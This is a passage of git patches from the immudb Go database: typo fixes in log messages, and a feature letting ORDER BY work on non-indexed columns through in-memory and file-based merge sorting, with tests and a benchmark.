*testing.T) { From e9e5c472210c7686be71386125bdf80947336b78 Mon Sep 17 00:00:00 2001 From: deferdeter Date: Tue, 16 Apr 2024 14:13:11 +0800 Subject: [PATCH 1006/1062] chore: fix some comments Signed-off-by: deferdeter --- pkg/database/database.go | 2 +- pkg/server/corruption_checker_test.go | 2 +- pkg/server/server.go | 12 ++++++------ pkg/server/types.go | 2 +- 4 files changed, 9 insertions(+), 9 deletions(-) diff --git a/pkg/database/database.go b/pkg/database/database.go index 5d3c8c943f..4938693256 100644 --- a/pkg/database/database.go +++ b/pkg/database/database.go @@ -1596,7 +1596,7 @@ func (d *db) Close() (err error) { defer func() { if err == nil { - d.Logger.Infof("database '%s' succesfully closed", d.name) + d.Logger.Infof("database '%s' successfully closed", d.name) } else { d.Logger.Infof("%v: while closing database '%s'", err, d.name) } diff --git a/pkg/server/corruption_checker_test.go b/pkg/server/corruption_checker_test.go index 20ebc1c60c..d550de10d0 100644 --- a/pkg/server/corruption_checker_test.go +++ b/pkg/server/corruption_checker_test.go @@ -359,7 +359,7 @@ func TestInt63(t *testing.T) { rand := newCryptoRandSource() n := rand.Int63() if n == 0 { - t.Fatal("cryptorand source faild") + t.Fatal("cryptorand source failed") } } diff --git a/pkg/server/server.go b/pkg/server/server.go index 6173a47187..8ec6477832 100644 --- a/pkg/server/server.go +++ b/pkg/server/server.go @@ -921,7 +921,7 @@ func (s *ImmuServer) CreateDatabaseV2(ctx context.Context, req *schema.CreateDat defer func() { if err == nil { - s.Logger.Infof("database '%s' succesfully created", req.Name) + s.Logger.Infof("database '%s' successfully created", req.Name) } else { s.Logger.Infof("database '%s' could not be created. Reason: %v", req.Name, err) } @@ -1023,7 +1023,7 @@ func (s *ImmuServer) LoadDatabase(ctx context.Context, req *schema.LoadDatabaseR defer func() { if err == nil { - s.Logger.Infof("database '%s' succesfully loaded", req.Database) + s.Logger.Infof("database '%s' successfully loaded", req.Database) } else { s.Logger.Infof("database '%s' could not be loaded. Reason: %v", req.Database, err) } @@ -1101,7 +1101,7 @@ func (s *ImmuServer) UnloadDatabase(ctx context.Context, req *schema.UnloadDatab defer func() { if err == nil { - s.Logger.Infof("database '%s' succesfully unloaded", req.Database) + s.Logger.Infof("database '%s' successfully unloaded", req.Database) } else { s.Logger.Infof("database '%s' could not be unloaded. Reason: %v", req.Database, err) } @@ -1176,7 +1176,7 @@ func (s *ImmuServer) DeleteDatabase(ctx context.Context, req *schema.DeleteDatab defer func() { if err == nil { - s.Logger.Infof("database '%s' succesfully deleted", req.Database) + s.Logger.Infof("database '%s' successfully deleted", req.Database) } else { s.Logger.Infof("database '%s' could not be deleted. Reason: %v", req.Database, err) } @@ -1251,7 +1251,7 @@ func (s *ImmuServer) UpdateDatabaseV2(ctx context.Context, req *schema.UpdateDat defer func() { if err == nil { - s.Logger.Infof("database '%s' succesfully updated", req.Database) + s.Logger.Infof("database '%s' successfully updated", req.Database) } else { s.Logger.Infof("database '%s' could not be updated. Reason: %v", req.Database, err) } @@ -1699,7 +1699,7 @@ func (s *ImmuServer) TruncateDatabase(ctx context.Context, req *schema.TruncateD defer func() { if err == nil { - s.Logger.Infof("database '%s' succesfully truncated", req.Database) + s.Logger.Infof("database '%s' successfully truncated", req.Database) } else { s.Logger.Infof("database '%s' could not be truncated. Reason: %v", req.Database, err) } diff --git a/pkg/server/types.go b/pkg/server/types.go index 8340421d1f..ee3d376f73 100644 --- a/pkg/server/types.go +++ b/pkg/server/types.go @@ -41,7 +41,7 @@ import ( "github.com/codenotary/immudb/pkg/immuos" ) -// userDatabasePairs keeps an associacion of username to userdata +// usernameToUserdataMap keeps an associacion of username to userdata type usernameToUserdataMap struct { Userdata map[string]*auth.User sync.RWMutex From 68b32d56cf31d2a07ea2a43e290f45202bbb9321 Mon Sep 17 00:00:00 2001 From: Stefano Scafiti Date: Fri, 26 Apr 2024 10:55:11 +0200 Subject: [PATCH 1007/1062] Alow order by on non indexed fields Signed-off-by: Stefano Scafiti --- Dockerfile | 1 + embedded/sql/engine.go | 32 ++- embedded/sql/engine_test.go | 383 ++++++++++++++++++++---------- embedded/sql/file_sort.go | 385 +++++++++++++++++++++++++++++++ embedded/sql/options.go | 21 +- embedded/sql/options_test.go | 6 + embedded/sql/row_reader.go | 1 + embedded/sql/sort_reader.go | 208 +++++++++++++++++ embedded/sql/sort_reader_test.go | 73 ++++++ embedded/sql/sql_tx.go | 31 ++- embedded/sql/stmt.go | 125 +++++----- 11 files changed, 1086 insertions(+), 180 deletions(-) create mode 100644 embedded/sql/file_sort.go create mode 100644 embedded/sql/sort_reader.go create mode 100644 embedded/sql/sort_reader_test.go diff --git a/Dockerfile b/Dockerfile index 0bddcff4a7..8c92907b15 100644 --- a/Dockerfile +++ b/Dockerfile @@ -53,6 +53,7 @@ COPY --from=build /src/immudb /usr/sbin/immudb COPY --from=build /src/immuadmin /usr/local/bin/immuadmin COPY --from=build --chown="$IMMU_UID:$IMMU_GID" /empty "$IMMUDB_HOME" COPY --from=build --chown="$IMMU_UID:$IMMU_GID" /empty "$IMMUDB_DIR" +COPY --from=build --chown="$IMMU_UID:$IMMU_GID" /empty /tmp COPY --from=build "/etc/ssl/certs/ca-certificates.crt" "/etc/ssl/certs/ca-certificates.crt" EXPOSE 3322 diff --git a/embedded/sql/engine.go b/embedded/sql/engine.go index 62de221f08..f33e24f6f2 100644 --- a/embedded/sql/engine.go +++ b/embedded/sql/engine.go @@ -54,13 +54,12 @@ var ErrNotNullableColumnCannotBeNull = errors.New("not nullable column can not b var ErrNewColumnMustBeNullable = errors.New("new column must be nullable") var ErrIndexAlreadyExists = errors.New("index already exists") var ErrMaxNumberOfColumnsInIndexExceeded = errors.New("number of columns in multi-column index exceeded") -var ErrNoAvailableIndex = errors.New("no available index") var ErrIndexNotFound = errors.New("index not found") var ErrInvalidNumberOfValues = errors.New("invalid number of values provided") var ErrInvalidValue = errors.New("invalid value provided") var ErrInferredMultipleTypes = errors.New("inferred multiple types") var ErrExpectingDQLStmt = errors.New("illegal statement. DQL statement expected") -var ErrLimitedOrderBy = errors.New("order is limit to one indexed column") +var ErrLimitedOrderBy = errors.New("order by is limited to one column") var ErrLimitedGroupBy = errors.New("group by requires ordering by the grouping column") var ErrIllegalMappedKey = errors.New("error illegal mapped key") var ErrCorruptedData = store.ErrCorruptedData @@ -104,6 +103,7 @@ type Engine struct { prefix []byte distinctLimit int + sortBufferSize int autocommit bool lazyIndexConstraintValidation bool @@ -144,6 +144,7 @@ func NewEngine(st *store.ImmuStore, opts *Options) (*Engine, error) { store: st, prefix: make([]byte, len(opts.prefix)), distinctLimit: opts.distinctLimit, + sortBufferSize: opts.sortBufferSize, autocommit: opts.autocommit, lazyIndexConstraintValidation: opts.lazyIndexConstraintValidation, multidbHandler: opts.multidbHandler, @@ -506,6 +507,33 @@ func (e *Engine) execPreparedStmts(ctx context.Context, tx *SQLTx, stmts []SQLSt return currTx, committedTxs, stmts[execStmts:], nil } +func (e *Engine) queryAll(ctx context.Context, tx *SQLTx, sql string, params map[string]interface{}) ([]*Row, error) { + reader, err := e.Query(ctx, tx, sql, params) + if err != nil { + return nil, err + } + defer reader.Close() + + return readAllRows(ctx, reader) +} + +func readAllRows(ctx context.Context, reader RowReader) ([]*Row, error) { + rows := make([]*Row, 0, 100) + for { + row, err := reader.Read(ctx) + if err == ErrNoMoreRows { + break + } + + if err != nil { + return nil, err + } + + rows = append(rows, row) + } + return rows, nil +} + func (e *Engine) Query(ctx context.Context, tx *SQLTx, sql string, params map[string]interface{}) (RowReader, error) { stmts, err := Parse(strings.NewReader(sql)) if err != nil { diff --git a/embedded/sql/engine_test.go b/embedded/sql/engine_test.go index 6e52aa9203..1594c9e305 100644 --- a/embedded/sql/engine_test.go +++ b/embedded/sql/engine_test.go @@ -22,6 +22,7 @@ import ( "errors" "fmt" "math" + "math/rand" "os" "sort" "strconv" @@ -30,6 +31,7 @@ import ( "testing" "time" + "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/embedded/store" "github.com/codenotary/immudb/embedded/tbtree" "github.com/google/uuid" @@ -2461,7 +2463,7 @@ func TestQuery(t *testing.T) { } t.Run("should resolve every row", func(t *testing.T) { - r, err = engine.Query(context.Background(), nil, "SELECT * FROM table1", nil) + r, err = engine.Query(context.Background(), nil, "SELECT * FROM table1 ORDER BY title", nil) require.NoError(t, err) colsBySel, err := r.colsBySelector(context.Background()) @@ -2583,8 +2585,29 @@ func TestQuery(t *testing.T) { }) r, err = engine.Query(context.Background(), nil, "SELECT id, title, active, payload FROM table1 ORDER BY title", nil) - require.ErrorIs(t, err, ErrLimitedOrderBy) - require.Nil(t, r) + require.NoError(t, err) + require.NotNil(t, r) + + allRows := make([]*Row, rowCount) + for i := 0; i < rowCount; i++ { + row, err := r.Read(context.Background()) + require.NoError(t, err) + + allRows[i] = row + } + _, err = r.Read(context.Background()) + require.ErrorIs(t, ErrNoMoreRows, err) + + err = r.Close() + require.NoError(t, err) + + isSorted := sort.SliceIsSorted(allRows, func(i, j int) bool { + r1 := allRows[i].ValuesByPosition[1] + r2 := allRows[j].ValuesByPosition[1] + + return r1.RawValue().(string) < r2.RawValue().(string) + }) + require.True(t, isSorted) r, err = engine.Query(context.Background(), nil, "SELECT Id, Title, Active, payload FROM Table1 ORDER BY Id DESC", nil) require.NoError(t, err) @@ -3070,11 +3093,6 @@ func TestIndexing(t *testing.T) { require.ErrorIs(t, err, store.ErrKeyAlreadyExists) }) - t.Run("should fail due non-available index", func(t *testing.T) { - _, err = engine.Query(context.Background(), nil, "SELECT * FROM table1 ORDER BY amount DESC", nil) - require.ErrorIs(t, err, ErrNoAvailableIndex) - }) - t.Run("should use primary index by default", func(t *testing.T) { r, err := engine.Query(context.Background(), nil, "SELECT * FROM table1", nil) require.NoError(t, err) @@ -3317,9 +3335,18 @@ func TestIndexing(t *testing.T) { require.NoError(t, err) }) - t.Run("should fail using index on `ts` when ordering by `title`", func(t *testing.T) { - _, err := engine.Query(context.Background(), nil, "SELECT * FROM table1 USE INDEX ON (ts) ORDER BY title", nil) - require.ErrorIs(t, err, ErrNoAvailableIndex) + t.Run("should use specified index on `ts` when ordering by `title`", func(t *testing.T) { + r, err := engine.Query(context.Background(), nil, "SELECT * FROM table1 USE INDEX ON (ts) ORDER BY title", nil) + require.NoError(t, err) + + scanSpecs := r.ScanSpecs() + require.NotNil(t, scanSpecs) + require.Len(t, scanSpecs.Index.cols, 1) + require.Equal(t, scanSpecs.Index.cols[0].colName, "ts") + require.True(t, scanSpecs.SortRequired) + + err = r.Close() + require.NoError(t, err) }) t.Run("should use index on `title` with max value in desc order", func(t *testing.T) { @@ -3620,7 +3647,7 @@ func TestOrderBy(t *testing.T) { require.NoError(t, err) defer closeStore(t, st) - engine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix)) + engine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix).WithSortBufferSize(1024)) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "CREATE TABLE table1 (id INTEGER, title VARCHAR[100], age INTEGER, PRIMARY KEY id)", nil) @@ -3629,37 +3656,13 @@ func TestOrderBy(t *testing.T) { _, err = engine.Query(context.Background(), nil, "SELECT id, title, age FROM table1 ORDER BY id, title DESC", nil) require.ErrorIs(t, err, ErrLimitedOrderBy) - _, err = engine.Query(context.Background(), nil, "SELECT id, title, age FROM (SELECT id, title, age FROM table1) ORDER BY id", nil) - require.ErrorIs(t, err, ErrLimitedOrderBy) - - _, err = engine.Query(context.Background(), nil, "SELECT id, title, age FROM (SELECT id, title, age FROM table1 AS t1) ORDER BY age DESC", nil) - require.ErrorIs(t, err, ErrLimitedOrderBy) - _, err = engine.Query(context.Background(), nil, "SELECT id, title, age FROM table2 ORDER BY title", nil) require.ErrorIs(t, err, ErrTableDoesNotExist) _, err = engine.Query(context.Background(), nil, "SELECT id, title, age FROM table1 ORDER BY amount", nil) require.ErrorIs(t, err, ErrColumnDoesNotExist) - _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX ON table1(title)", nil) - require.NoError(t, err) - - _, err = engine.Query(context.Background(), nil, "SELECT id, title, age FROM table1 ORDER BY age", nil) - require.ErrorIs(t, err, ErrLimitedOrderBy) - - _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX ON table1(age)", nil) - require.NoError(t, err) - - params := make(map[string]interface{}, 1) - params["age"] = nil - _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO table1 (id, title, age) VALUES (1, 'title', @age)", params) - require.NoError(t, err) - - _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO table1 (id, title) VALUES (2, 'title')", nil) - require.NoError(t, err) - - rowCount := 1 - + rowCount := 100 + rand.Intn(engine.sortBufferSize-100) // [100, sortBufferSize] for i := 0; i < rowCount; i++ { params := make(map[string]interface{}, 3) params["id"] = i + 3 @@ -3670,110 +3673,207 @@ func TestOrderBy(t *testing.T) { require.NoError(t, err) } - r, err := engine.Query(context.Background(), nil, "SELECT id, title, age FROM table1 ORDER BY title", nil) - require.NoError(t, err) + t.Run("ascending order by should be executed using in-memory sorting", func(t *testing.T) { + reader, err := engine.Query(context.Background(), nil, "SELECT id, title, age FROM table1 ORDER BY age", nil) + require.NoError(t, err) + defer reader.Close() - orderBy := r.OrderBy() - require.NotNil(t, orderBy) - require.Len(t, orderBy, 1) - require.Equal(t, "title", orderBy[0].Column) - require.Equal(t, "table1", orderBy[0].Table) + rows, err := readAllRows(context.Background(), reader) + require.NoError(t, err) + require.Len(t, rows, rowCount) - row, err := r.Read(context.Background()) - require.NoError(t, err) - require.Len(t, row.ValuesBySelector, 3) + tx := reader.Tx() + require.Len(t, tx.tempFiles, 0) - require.Equal(t, int64(1), row.ValuesBySelector[EncodeSelector("", "table1", "id")].RawValue()) - require.Equal(t, "title", row.ValuesBySelector[EncodeSelector("", "table1", "title")].RawValue()) - require.Nil(t, row.ValuesBySelector[EncodeSelector("", "table1", "age")].RawValue()) + isSorted := sort.SliceIsSorted(rows, func(i, j int) bool { + v1 := rows[i].ValuesByPosition[2].RawValue().(int64) + v2 := rows[j].ValuesByPosition[2].RawValue().(int64) + return v1 < v2 + }) + require.True(t, isSorted) + }) - row, err = r.Read(context.Background()) - require.NoError(t, err) - require.Len(t, row.ValuesBySelector, 3) + t.Run("descending order by should be executed using in-memory sorting", func(t *testing.T) { + reader, err := engine.Query(context.Background(), nil, "SELECT title, age FROM table1 ORDER BY title DESC", nil) + require.NoError(t, err) + defer reader.Close() - require.Equal(t, int64(2), row.ValuesBySelector[EncodeSelector("", "table1", "id")].RawValue()) - require.Equal(t, "title", row.ValuesBySelector[EncodeSelector("", "table1", "title")].RawValue()) - require.Nil(t, row.ValuesBySelector[EncodeSelector("", "table1", "age")].RawValue()) + rows, err := readAllRows(context.Background(), reader) + require.NoError(t, err) + require.Len(t, rows, rowCount) - for i := 0; i < rowCount; i++ { - row, err := r.Read(context.Background()) + tx := reader.Tx() + require.Len(t, tx.tempFiles, 0) + + isSorted := sort.SliceIsSorted(rows, func(i, j int) bool { + v1 := rows[i].ValuesByPosition[0].RawValue().(string) + v2 := rows[j].ValuesByPosition[0].RawValue().(string) + return v1 >= v2 + }) + require.True(t, isSorted) + }) + + t.Run("ascending order by should be executed using file sorting", func(t *testing.T) { + engine.sortBufferSize = 4 + rand.Intn(13) // [4, 16] + + reader, err := engine.Query(context.Background(), nil, "SELECT id, title, age FROM table1 ORDER BY age", nil) require.NoError(t, err) - require.NotNil(t, row) - require.Len(t, row.ValuesBySelector, 3) + defer reader.Close() - require.Equal(t, int64(i+3), row.ValuesBySelector[EncodeSelector("", "table1", "id")].RawValue()) - require.Equal(t, fmt.Sprintf("title%d", i), row.ValuesBySelector[EncodeSelector("", "table1", "title")].RawValue()) - require.Equal(t, int64(40+i), row.ValuesBySelector[EncodeSelector("", "table1", "age")].RawValue()) - } + rows, err := readAllRows(context.Background(), reader) + require.NoError(t, err) + require.Len(t, rows, rowCount) - err = r.Close() - require.NoError(t, err) + tx := reader.Tx() + require.Len(t, tx.tempFiles, 2) + + isSorted := sort.SliceIsSorted(rows, func(i, j int) bool { + v1 := rows[i].ValuesByPosition[2].RawValue().(int64) + v2 := rows[j].ValuesByPosition[2].RawValue().(int64) + return v1 < v2 + }) + require.True(t, isSorted) + }) + + t.Run("descending order by should be executed using file sorting", func(t *testing.T) { + engine.sortBufferSize = 4 + rand.Intn(13) // [4, 16] + + reader, err := engine.Query(context.Background(), nil, "SELECT id, title, age FROM table1 ORDER BY title DESC", nil) + require.NoError(t, err) + defer reader.Close() + + rows, err := readAllRows(context.Background(), reader) + require.NoError(t, err) + require.Len(t, rows, rowCount) + + tx := reader.Tx() + require.Len(t, tx.tempFiles, 2) + + isSorted := sort.SliceIsSorted(rows, func(i, j int) bool { + v1 := rows[i].ValuesByPosition[1].RawValue().(string) + v2 := rows[j].ValuesByPosition[1].RawValue().(string) + return v1 >= v2 + }) + require.True(t, isSorted) + }) - r, err = engine.Query(context.Background(), nil, "SELECT id, title, age FROM table1 ORDER BY age", nil) + t.Run("order by on top of subquery", func(t *testing.T) { + rows, err := engine.queryAll(context.Background(), nil, "SELECT id, title, age FROM (SELECT id, title, age FROM table1 AS t1) ORDER BY age DESC", nil) + require.NoError(t, err) + require.Len(t, rows, rowCount) + + isSorted := sort.SliceIsSorted(rows, func(i, j int) bool { + v1 := rows[i].ValuesByPosition[2].RawValue().(int64) + v2 := rows[j].ValuesByPosition[2].RawValue().(int64) + return v1 >= v2 + }) + require.True(t, isSorted) + }) + + _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX ON table1(title)", nil) require.NoError(t, err) - row, err = r.Read(context.Background()) + _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX ON table1(age)", nil) require.NoError(t, err) - require.Len(t, row.ValuesBySelector, 3) - require.Equal(t, int64(1), row.ValuesBySelector[EncodeSelector("", "table1", "id")].RawValue()) - require.Equal(t, "title", row.ValuesBySelector[EncodeSelector("", "table1", "title")].RawValue()) - require.Nil(t, row.ValuesBySelector[EncodeSelector("", "table1", "age")].RawValue()) + params := make(map[string]interface{}, 1) + params["age"] = nil + _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO table1 (id, title, age) VALUES (1, 'title', @age)", params) + require.NoError(t, err) - row, err = r.Read(context.Background()) + _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO table1 (id, title) VALUES (2, 'title')", nil) require.NoError(t, err) - require.Len(t, row.ValuesBySelector, 3) - require.Equal(t, int64(2), row.ValuesBySelector[EncodeSelector("", "table1", "id")].RawValue()) - require.Equal(t, "title", row.ValuesBySelector[EncodeSelector("", "table1", "title")].RawValue()) - require.Nil(t, row.ValuesBySelector[EncodeSelector("", "table1", "age")].RawValue()) + t.Run("ascending order by should be executed using index", func(t *testing.T) { + r, err := engine.Query(context.Background(), nil, "SELECT id, title, age FROM table1 ORDER BY title", nil) + require.NoError(t, err) + + orderBy := r.OrderBy() + require.NotNil(t, orderBy) + require.Len(t, orderBy, 1) + require.Equal(t, "title", orderBy[0].Column) + require.Equal(t, "table1", orderBy[0].Table) + scanSpecs := r.ScanSpecs() + require.False(t, scanSpecs.SortRequired) - for i := 0; i < rowCount; i++ { row, err := r.Read(context.Background()) require.NoError(t, err) - require.NotNil(t, row) require.Len(t, row.ValuesBySelector, 3) - require.Equal(t, int64(i+3), row.ValuesBySelector[EncodeSelector("", "table1", "id")].RawValue()) - require.Equal(t, fmt.Sprintf("title%d", i), row.ValuesBySelector[EncodeSelector("", "table1", "title")].RawValue()) - require.Equal(t, int64(40+i), row.ValuesBySelector[EncodeSelector("", "table1", "age")].RawValue()) - } + require.Equal(t, int64(1), row.ValuesBySelector[EncodeSelector("", "table1", "id")].RawValue()) + require.Equal(t, "title", row.ValuesBySelector[EncodeSelector("", "table1", "title")].RawValue()) + require.Nil(t, row.ValuesBySelector[EncodeSelector("", "table1", "age")].RawValue()) - err = r.Close() - require.NoError(t, err) + row, err = r.Read(context.Background()) + require.NoError(t, err) + require.Len(t, row.ValuesBySelector, 3) - r, err = engine.Query(context.Background(), nil, "SELECT id, title, age FROM table1 ORDER BY age DESC", nil) - require.NoError(t, err) + require.Equal(t, int64(2), row.ValuesBySelector[EncodeSelector("", "table1", "id")].RawValue()) + require.Equal(t, "title", row.ValuesBySelector[EncodeSelector("", "table1", "title")].RawValue()) + require.Nil(t, row.ValuesBySelector[EncodeSelector("", "table1", "age")].RawValue()) - for i := 0; i < rowCount; i++ { - row, err := r.Read(context.Background()) + titles := make([]string, 0, rowCount) + for i := 0; i < rowCount; i++ { + row, err := r.Read(context.Background()) + require.NoError(t, err) + require.NotNil(t, row) + require.Len(t, row.ValuesBySelector, 3) + + id := row.ValuesBySelector[EncodeSelector("", "table1", "id")].RawValue().(int64) + title := row.ValuesBySelector[EncodeSelector("", "table1", "title")].RawValue().(string) + + titles = append(titles, title) + + j, err := strconv.ParseInt(strings.TrimPrefix(title, "title"), 10, 64) + require.NoError(t, err) + require.Equal(t, j+3, id) + } + + isSorted := sort.SliceIsSorted(titles, func(i, j int) bool { + return titles[i] < titles[j] + }) + require.True(t, isSorted) + err = r.Close() require.NoError(t, err) - require.NotNil(t, row) - require.Len(t, row.ValuesBySelector, 3) + }) - require.Equal(t, int64(rowCount-1-i+3), row.ValuesBySelector[EncodeSelector("", "table1", "id")].RawValue()) - require.Equal(t, fmt.Sprintf("title%d", rowCount-1-i), row.ValuesBySelector[EncodeSelector("", "table1", "title")].RawValue()) - require.Equal(t, int64(40-(rowCount-1-i)), row.ValuesBySelector[EncodeSelector("", "table1", "age")].RawValue()) - } + t.Run("descending order by should be executed using index", func(t *testing.T) { + r, err := engine.Query(context.Background(), nil, "SELECT id, title, age FROM table1 ORDER BY age DESC", nil) + require.NoError(t, err) - row, err = r.Read(context.Background()) - require.NoError(t, err) - require.Len(t, row.ValuesBySelector, 3) + orderBy := r.OrderBy() + require.NotNil(t, orderBy) + require.Len(t, orderBy, 1) + require.Equal(t, "age", orderBy[0].Column) + require.Equal(t, "table1", orderBy[0].Table) + scanSpecs := r.ScanSpecs() + require.False(t, scanSpecs.SortRequired) - require.Equal(t, int64(2), row.ValuesBySelector[EncodeSelector("", "table1", "id")].RawValue()) - require.Equal(t, "title", row.ValuesBySelector[EncodeSelector("", "table1", "title")].RawValue()) - require.Nil(t, row.ValuesBySelector[EncodeSelector("", "table1", "age")].RawValue()) + ages := make([]int64, 0, rowCount+2) + for i := 0; i < rowCount; i++ { + row, err := r.Read(context.Background()) + require.NoError(t, err) + require.NotNil(t, row) + require.Len(t, row.ValuesBySelector, 3) - row, err = r.Read(context.Background()) - require.NoError(t, err) - require.Len(t, row.ValuesBySelector, 3) + id := row.ValuesBySelector[EncodeSelector("", "table1", "id")].RawValue().(int64) + title := row.ValuesBySelector[EncodeSelector("", "table1", "title")].RawValue().(string) + age := row.ValuesBySelector[EncodeSelector("", "table1", "age")].RawValue().(int64) - require.Equal(t, int64(1), row.ValuesBySelector[EncodeSelector("", "table1", "id")].RawValue()) - require.Equal(t, "title", row.ValuesBySelector[EncodeSelector("", "table1", "title")].RawValue()) - require.Nil(t, row.ValuesBySelector[EncodeSelector("", "table1", "age")].RawValue()) + ages = append(ages, age) - err = r.Close() - require.NoError(t, err) + j, err := strconv.ParseInt(strings.TrimPrefix(title, "title"), 10, 64) + require.NoError(t, err) + require.Equal(t, j+3, id) + } + + isSorted := sort.SliceIsSorted(ages, func(i, j int) bool { + return ages[i] >= ages[j] + }) + require.True(t, isSorted) + err = r.Close() + require.NoError(t, err) + }) } func TestQueryWithRowFiltering(t *testing.T) { @@ -3899,9 +3999,6 @@ func TestQueryWithInClause(t *testing.T) { _, _, err := engine.Exec(context.Background(), nil, "CREATE TABLE table1 (id INTEGER, title VARCHAR[50], active BOOLEAN, PRIMARY KEY id)", nil) require.NoError(t, err) - _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX ON table1(title)", nil) - require.NoError(t, err) - rowCount := 10 for i := 0; i < rowCount; i++ { @@ -3915,7 +4012,7 @@ func TestQueryWithInClause(t *testing.T) { require.False(t, inListExp.isConstant()) t.Run("infer parameters without parameters should return an empty list", func(t *testing.T) { - params, err := engine.InferParameters(context.Background(), nil, "SELECT id, title, active FROM table1 WHERE title IN ('title0', 'title1')") + params, err := engine.InferParameters(context.Background(), nil, "SELECT id, title, active FROM table1 WHERE title IN ('title0', 'title1') ORDER BY title") require.NoError(t, err) require.Empty(t, params) }) @@ -7144,10 +7241,6 @@ func TestCopyCatalogToTx(t *testing.T) { _, _, err := engine.Exec(context.Background(), nil, "INSERT INTO table1 (name, amount) VALUES ('name1', 10), ('name1', 10)", nil) require.ErrorIs(t, err, store.ErrKeyAlreadyExists) - // should fail due non-available index - _, err = engine.Query(context.Background(), nil, "SELECT * FROM table1 ORDER BY amount DESC", nil) - require.ErrorIs(t, err, ErrNoAvailableIndex) - // should use primary index by default r, err := engine.Query(context.Background(), nil, "SELECT * FROM table1", nil) require.NoError(t, err) @@ -7246,6 +7339,62 @@ func BenchmarkInsertInto(b *testing.B) { } } +func BenchmarkNotIndexedOrderBy(b *testing.B) { + st, err := store.Open(b.TempDir(), store.DefaultOptions().WithMultiIndexing(true).WithLogger(logger.NewMemoryLoggerWithLevel(logger.LogError))) + if err != nil { + b.Fail() + } + + defer st.Close() + + engine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix).WithSortBufferSize(1024)) + if err != nil { + b.Fail() + } + + _, _, err = engine.Exec(context.Background(), nil, `CREATE TABLE mytable(id INTEGER AUTO_INCREMENT, title VARCHAR[50], PRIMARY KEY id);`, nil) + if err != nil { + b.Fail() + } + + for nBatch := 0; nBatch < 100; nBatch++ { + tx, err := engine.NewTx(context.Background(), DefaultTxOptions().WithExplicitClose(true)) + if err != nil { + b.Fail() + } + + nRows := 1000 + for i := 0; i < nRows; i++ { + _, _, err := engine.Exec(context.Background(), tx, "INSERT INTO mytable(title) VALUES (@title)", map[string]interface{}{ + "title": fmt.Sprintf("title%d", rand.Int()), + }) + if err != nil { + b.Fail() + } + } + + err = tx.Commit(context.Background()) + if err != nil { + b.Fail() + } + } + + b.ResetTimer() + + start := time.Now() + reader, err := engine.Query(context.Background(), nil, "SELECT * FROM mytable ORDER BY title ASC LIMIT 1", nil) + if err != nil { + b.Fail() + } + defer reader.Close() + + _, err = reader.Read(context.Background()) + if err != nil { + b.Fail() + } + fmt.Println("Elapsed:", time.Since(start)) +} + func TestLikeWithNullableColumns(t *testing.T) { engine := setupCommonTest(t) diff --git a/embedded/sql/file_sort.go b/embedded/sql/file_sort.go new file mode 100644 index 0000000000..f459a8ad3f --- /dev/null +++ b/embedded/sql/file_sort.go @@ -0,0 +1,385 @@ +/* +Copyright 2024 Codenotary Inc. All rights reserved. + +SPDX-License-Identifier: BUSL-1.1 +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + https://mariadb.com/bsl11/ + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + +package sql + +import ( + "bufio" + "bytes" + "encoding/binary" + "io" + "os" + "sort" +) + +type sortedChunk struct { + offset uint64 + size uint64 +} + +type fileSorter struct { + colPosBySelector map[string]int + colTypes []string + cmp func(r1, r2 Tuple) bool + + tx *SQLTx + sortBufSize int + sortBuf []*Row + nextIdx int + + tempFile *os.File + writer *bufio.Writer + tempFileSize uint64 + + chunksToMerge []sortedChunk +} + +func (s *fileSorter) update(r *Row) error { + if s.nextIdx == s.sortBufSize { + err := s.sortAndFlushBuffer() + if err != nil { + return err + } + s.nextIdx = 0 + } + + s.sortBuf[s.nextIdx] = r + s.nextIdx++ + + return nil +} + +func (s *fileSorter) finalize() (resultReader, error) { + if s.nextIdx > 0 { + s.sortBuffer() + } + + // result rows are all in memory + if len(s.chunksToMerge) == 0 { + return &bufferResultReader{ + sortBuf: s.sortBuf[:s.nextIdx], + }, nil + } + + err := s.flushBuffer() + if err != nil { + return nil, err + } + + err = s.writer.Flush() + if err != nil { + return nil, err + } + return s.mergeAllChunks() +} + +func (s *fileSorter) mergeAllChunks() (resultReader, error) { + currFile := s.tempFile + + outFile, err := s.tx.createTempFile() + if err != nil { + return nil, err + } + + lbuf := &bufio.Reader{} + rbuf := &bufio.Reader{} + + lr := &fileRowReader{ + colTypes: s.colTypes, + reader: lbuf, + } + rr := &fileRowReader{ + colTypes: s.colTypes, + reader: rbuf, + } + + chunks := s.chunksToMerge + for len(chunks) > 1 { + s.writer.Reset(outFile) + + var offset uint64 + + newChunks := make([]sortedChunk, (len(chunks)+1)/2) + for i := 0; i < len(chunks)/2; i++ { + c1 := chunks[i*2] + c2 := chunks[i*2+1] + + lbuf.Reset(io.NewSectionReader(currFile, int64(c1.offset), int64(c1.size))) + rbuf.Reset(io.NewSectionReader(currFile, int64(c2.offset), int64(c2.size))) + + err := s.mergeChunks(lr, rr, s.writer) + if err != nil { + return nil, err + } + + newChunks[i] = sortedChunk{ + offset: offset, + size: c1.size + c2.size, + } + offset += c1.size + c2.size + } + + err := s.writer.Flush() + if err != nil { + return nil, err + } + + if len(chunks)%2 != 0 { // copy last sorted chunk + lastChunk := chunks[len(chunks)-1] + + _, err := io.Copy(outFile, io.NewSectionReader(currFile, int64(lastChunk.offset), int64(lastChunk.size))) + if err != nil { + return nil, err + } + newChunks[len(chunks)/2] = lastChunk + } + + temp := currFile + currFile = outFile + outFile = temp + + _, err = outFile.Seek(0, io.SeekStart) + if err != nil { + return nil, err + } + + chunks = newChunks + } + + return &fileRowReader{ + colTypes: s.colTypes, + colPosBySelector: 